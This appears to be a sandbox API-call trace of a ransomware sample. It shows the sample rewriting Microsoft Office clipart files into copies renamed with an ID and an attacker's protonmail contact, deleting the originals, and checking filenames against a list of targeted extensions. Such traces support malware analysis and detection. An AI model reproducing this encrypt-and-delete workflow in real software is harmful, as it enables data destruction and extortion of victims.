	[0202.787] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152602.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152602.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5d0
	[0202.793] GetFileSizeEx (in: hFile=0x5d0, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=6276) returned 1
	[0202.793] CloseHandle (hObject=0x5d0) returned 1
	[0202.793] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152602.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152602.wmf")) returned 0x220
	[0202.793] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152602.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152602.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0202.793] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152602.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152602.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5d0
	[0202.793] SetFilePointerEx (in: hFile=0x5d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0202.794] SetFilePointerEx (in: hFile=0x5d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0202.794] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152602.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152602.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5e8
	[0202.796] GetLastError () returned 0x0
	[0202.796] ReadFile (in: hFile=0x5d0, lpBuffer=0x41d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesRead=0x378fecc*=0x1884, lpOverlapped=0x0) returned 1
	[0202.798] WriteFile (in: hFile=0x5e8, lpBuffer=0x41d0020*, nNumberOfBytesToWrite=0x1890, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesWritten=0x378fc94*=0x1890, lpOverlapped=0x0) returned 1
	[0202.799] ReadFile (in: hFile=0x5d0, lpBuffer=0x41d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1
	[0202.799] WriteFile (in: hFile=0x5e8, lpBuffer=0x41d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesWritten=0x378fc94*=0xec, lpOverlapped=0x0) returned 1
	[0202.800] SetEndOfFile (hFile=0x5e8) returned 1
	[0202.800] CloseHandle (hObject=0x5e8) returned 1
	[0202.800] SetFilePointerEx (in: hFile=0x5d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0202.800] SetEndOfFile (hFile=0x5d0) returned 1
	[0202.905] CloseHandle (hObject=0x5d0) returned 1
	[0202.905] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152602.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0202.906] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152602.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152602.wmf")) returned 1
	[0202.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152602.WMF") returned 68
	[0202.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152602.WMF") returned 68
	[0202.907] lstrlenW (lpString=".doc") returned 4
	[0202.907] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0202.907] lstrlenW (lpString=".docx") returned 5
	[0202.907] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0202.907] lstrlenW (lpString=".pdf") returned 4
	[0202.907] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0202.907] lstrlenW (lpString=".xls") returned 4
	[0202.907] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0202.907] lstrlenW (lpString=".xlsx") returned 5
	[0202.907] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0202.907] lstrlenW (lpString=".ppt") returned 4
	[0202.907] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0202.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152602.WMF") returned 68
	[0202.907] lstrlenW (lpString=".zip") returned 4
	[0202.907] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0202.907] lstrlenW (lpString=".rar") returned 4
	[0202.908] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0202.908] lstrlenW (lpString=".bz2") returned 4
	[0202.908] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0202.908] lstrlenW (lpString=".7z") returned 3
	[0202.908] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0202.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152602.WMF") returned 68
	[0202.908] lstrlenW (lpString=".dbf") returned 4
	[0202.908] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0202.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152602.WMF") returned 68
	[0202.908] lstrlenW (lpString=".1cd") returned 4
	[0202.908] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0202.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152602.WMF") returned 68
	[0202.908] lstrlenW (lpString=".jpg") returned 4
	[0202.908] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0202.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152602.WMF") returned 68
	[0202.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152602.WMF") returned 68
	[0202.908] lstrlenW (lpString=".doc") returned 4
	[0202.908] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0202.908] lstrlenW (lpString=".docx") returned 5
	[0202.908] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0202.908] lstrlenW (lpString=".pdf") returned 4
	[0202.908] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0202.908] lstrlenW (lpString=".xls") returned 4
	[0202.908] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0202.908] lstrlenW (lpString=".xlsx") returned 5
	[0202.908] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0202.908] lstrlenW (lpString=".ppt") returned 4
	[0202.908] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0202.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152602.WMF") returned 68
	[0202.908] lstrlenW (lpString=".zip") returned 4
	[0202.908] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0202.908] lstrlenW (lpString=".rar") returned 4
	[0202.908] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0202.909] lstrlenW (lpString=".bz2") returned 4
	[0202.909] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0202.909] lstrlenW (lpString=".7z") returned 3
	[0202.909] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0202.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152602.WMF") returned 68
	[0202.909] lstrlenW (lpString=".dbf") returned 4
	[0202.909] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0202.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152602.WMF") returned 68
	[0202.909] lstrlenW (lpString=".1cd") returned 4
	[0202.909] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0202.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152602.WMF") returned 68
	[0202.909] lstrlenW (lpString=".jpg") returned 4
	[0202.909] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0202.909] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0202.909] lstrlenW (lpString="J0152606.WMF") returned 12
	[0202.909] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152606.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152606.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5d0
	[0202.913] GetFileSizeEx (in: hFile=0x5d0, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=16632) returned 1
	[0202.913] CloseHandle (hObject=0x5d0) returned 1
	[0202.913] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152606.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152606.wmf")) returned 0x220
	[0202.913] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152606.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152606.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0202.914] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152606.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152606.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5d0
	[0202.914] SetFilePointerEx (in: hFile=0x5d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0202.914] SetFilePointerEx (in: hFile=0x5d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0202.914] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152606.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152606.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5e8
	[0202.915] GetLastError () returned 0x0
	[0202.915] ReadFile (in: hFile=0x5d0, lpBuffer=0x41d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesRead=0x378fecc*=0x40f8, lpOverlapped=0x0) returned 1
	[0202.918] WriteFile (in: hFile=0x5e8, lpBuffer=0x41d0020*, nNumberOfBytesToWrite=0x4100, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesWritten=0x378fc94*=0x4100, lpOverlapped=0x0) returned 1
	[0202.921] ReadFile (in: hFile=0x5d0, lpBuffer=0x41d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1
	[0202.921] WriteFile (in: hFile=0x5e8, lpBuffer=0x41d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesWritten=0x378fc94*=0xec, lpOverlapped=0x0) returned 1
	[0202.921] SetEndOfFile (hFile=0x5e8) returned 1
	[0202.921] CloseHandle (hObject=0x5e8) returned 1
	[0202.921] SetFilePointerEx (in: hFile=0x5d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0202.921] SetEndOfFile (hFile=0x5d0) returned 1
	[0202.924] CloseHandle (hObject=0x5d0) returned 1
	[0202.924] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152606.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0202.925] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152606.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152606.wmf")) returned 1
	[0202.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152606.WMF") returned 68
	[0202.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152606.WMF") returned 68
	[0202.926] lstrlenW (lpString=".doc") returned 4
	[0202.926] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0202.926] lstrlenW (lpString=".docx") returned 5
	[0202.926] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0202.926] lstrlenW (lpString=".pdf") returned 4
	[0202.926] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0202.926] lstrlenW (lpString=".xls") returned 4
	[0202.926] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0202.926] lstrlenW (lpString=".xlsx") returned 5
	[0202.926] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0202.926] lstrlenW (lpString=".ppt") returned 4
	[0202.926] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0202.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152606.WMF") returned 68
	[0202.926] lstrlenW (lpString=".zip") returned 4
	[0202.926] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0202.926] lstrlenW (lpString=".rar") returned 4
	[0202.926] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0202.926] lstrlenW (lpString=".bz2") returned 4
	[0202.926] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0202.926] lstrlenW (lpString=".7z") returned 3
	[0202.926] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0202.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152606.WMF") returned 68
	[0202.926] lstrlenW (lpString=".dbf") returned 4
	[0202.926] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0202.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152606.WMF") returned 68
	[0202.927] lstrlenW (lpString=".1cd") returned 4
	[0202.927] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0202.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152606.WMF") returned 68
	[0202.927] lstrlenW (lpString=".jpg") returned 4
	[0202.927] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0202.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152606.WMF") returned 68
	[0202.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152606.WMF") returned 68
	[0202.927] lstrlenW (lpString=".doc") returned 4
	[0202.927] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0202.927] lstrlenW (lpString=".docx") returned 5
	[0202.927] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0202.927] lstrlenW (lpString=".pdf") returned 4
	[0202.927] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0202.927] lstrlenW (lpString=".xls") returned 4
	[0202.927] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0202.927] lstrlenW (lpString=".xlsx") returned 5
	[0202.927] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0202.927] lstrlenW (lpString=".ppt") returned 4
	[0202.927] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0202.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152606.WMF") returned 68
	[0202.927] lstrlenW (lpString=".zip") returned 4
	[0202.927] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0202.927] lstrlenW (lpString=".rar") returned 4
	[0202.927] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0202.927] lstrlenW (lpString=".bz2") returned 4
	[0202.927] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0202.927] lstrlenW (lpString=".7z") returned 3
	[0202.927] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0202.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152606.WMF") returned 68
	[0202.927] lstrlenW (lpString=".dbf") returned 4
	[0202.927] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0202.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152606.WMF") returned 68
	[0202.928] lstrlenW (lpString=".1cd") returned 4
	[0202.928] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0202.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152606.WMF") returned 68
	[0202.928] lstrlenW (lpString=".jpg") returned 4
	[0202.928] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0202.928] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0202.928] lstrlenW (lpString="J0152608.WMF") returned 12
	[0202.928] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152608.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152608.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5d0
	[0202.929] GetFileSizeEx (in: hFile=0x5d0, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=12436) returned 1
	[0202.929] CloseHandle (hObject=0x5d0) returned 1
	[0202.929] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152608.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152608.wmf")) returned 0x220
	[0202.929] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152608.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152608.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0202.929] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152608.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152608.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5d0
	[0202.929] SetFilePointerEx (in: hFile=0x5d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0202.930] SetFilePointerEx (in: hFile=0x5d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0202.930] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152608.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152608.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5e8
	[0202.930] GetLastError () returned 0x0
	[0202.930] ReadFile (in: hFile=0x5d0, lpBuffer=0x41d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesRead=0x378fecc*=0x3094, lpOverlapped=0x0) returned 1
	[0203.528] WriteFile (in: hFile=0x5e8, lpBuffer=0x41d0020*, nNumberOfBytesToWrite=0x30a0, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesWritten=0x378fc94*=0x30a0, lpOverlapped=0x0) returned 1
	[0203.529] ReadFile (in: hFile=0x5d0, lpBuffer=0x41d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1
	[0203.529] WriteFile (in: hFile=0x5e8, lpBuffer=0x41d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesWritten=0x378fc94*=0xec, lpOverlapped=0x0) returned 1
	[0203.529] SetEndOfFile (hFile=0x5e8) returned 1
	[0203.529] CloseHandle (hObject=0x5e8) returned 1
	[0203.529] SetFilePointerEx (in: hFile=0x5d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0203.529] SetEndOfFile (hFile=0x5d0) returned 1
	[0203.532] CloseHandle (hObject=0x5d0) returned 1
	[0203.532] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152608.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0203.794] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152608.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152608.wmf")) returned 1
	[0203.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152608.WMF") returned 68
	[0203.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152608.WMF") returned 68
	[0203.822] lstrlenW (lpString=".doc") returned 4
	[0203.822] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0203.822] lstrlenW (lpString=".docx") returned 5
	[0203.822] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0203.822] lstrlenW (lpString=".pdf") returned 4
	[0203.822] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0203.822] lstrlenW (lpString=".xls") returned 4
	[0203.822] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0203.822] lstrlenW (lpString=".xlsx") returned 5
	[0203.822] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0203.822] lstrlenW (lpString=".ppt") returned 4
	[0203.822] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0203.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152608.WMF") returned 68
	[0203.822] lstrlenW (lpString=".zip") returned 4
	[0203.822] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0203.822] lstrlenW (lpString=".rar") returned 4
	[0203.822] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0203.822] lstrlenW (lpString=".bz2") returned 4
	[0203.822] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0203.822] lstrlenW (lpString=".7z") returned 3
	[0203.822] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0203.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152608.WMF") returned 68
	[0203.822] lstrlenW (lpString=".dbf") returned 4
	[0203.822] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0203.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152608.WMF") returned 68
	[0203.822] lstrlenW (lpString=".1cd") returned 4
	[0203.822] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0203.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152608.WMF") returned 68
	[0203.822] lstrlenW (lpString=".jpg") returned 4
	[0203.822] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0203.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152608.WMF") returned 68
	[0203.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152608.WMF") returned 68
	[0203.823] lstrlenW (lpString=".doc") returned 4
	[0203.823] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0203.823] lstrlenW (lpString=".docx") returned 5
	[0203.823] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0203.823] lstrlenW (lpString=".pdf") returned 4
	[0203.823] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0203.823] lstrlenW (lpString=".xls") returned 4
	[0203.823] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0203.823] lstrlenW (lpString=".xlsx") returned 5
	[0203.823] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0203.823] lstrlenW (lpString=".ppt") returned 4
	[0203.823] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0203.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152608.WMF") returned 68
	[0203.823] lstrlenW (lpString=".zip") returned 4
	[0203.823] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0203.823] lstrlenW (lpString=".rar") returned 4
	[0203.823] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0203.823] lstrlenW (lpString=".bz2") returned 4
	[0203.823] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0203.823] lstrlenW (lpString=".7z") returned 3
	[0203.823] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0203.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152608.WMF") returned 68
	[0203.823] lstrlenW (lpString=".dbf") returned 4
	[0203.823] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0203.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152608.WMF") returned 68
	[0203.823] lstrlenW (lpString=".1cd") returned 4
	[0203.823] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0203.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152608.WMF") returned 68
	[0203.823] lstrlenW (lpString=".jpg") returned 4
	[0203.823] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0203.824] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0203.824] lstrlenW (lpString="J0152708.WMF") returned 12
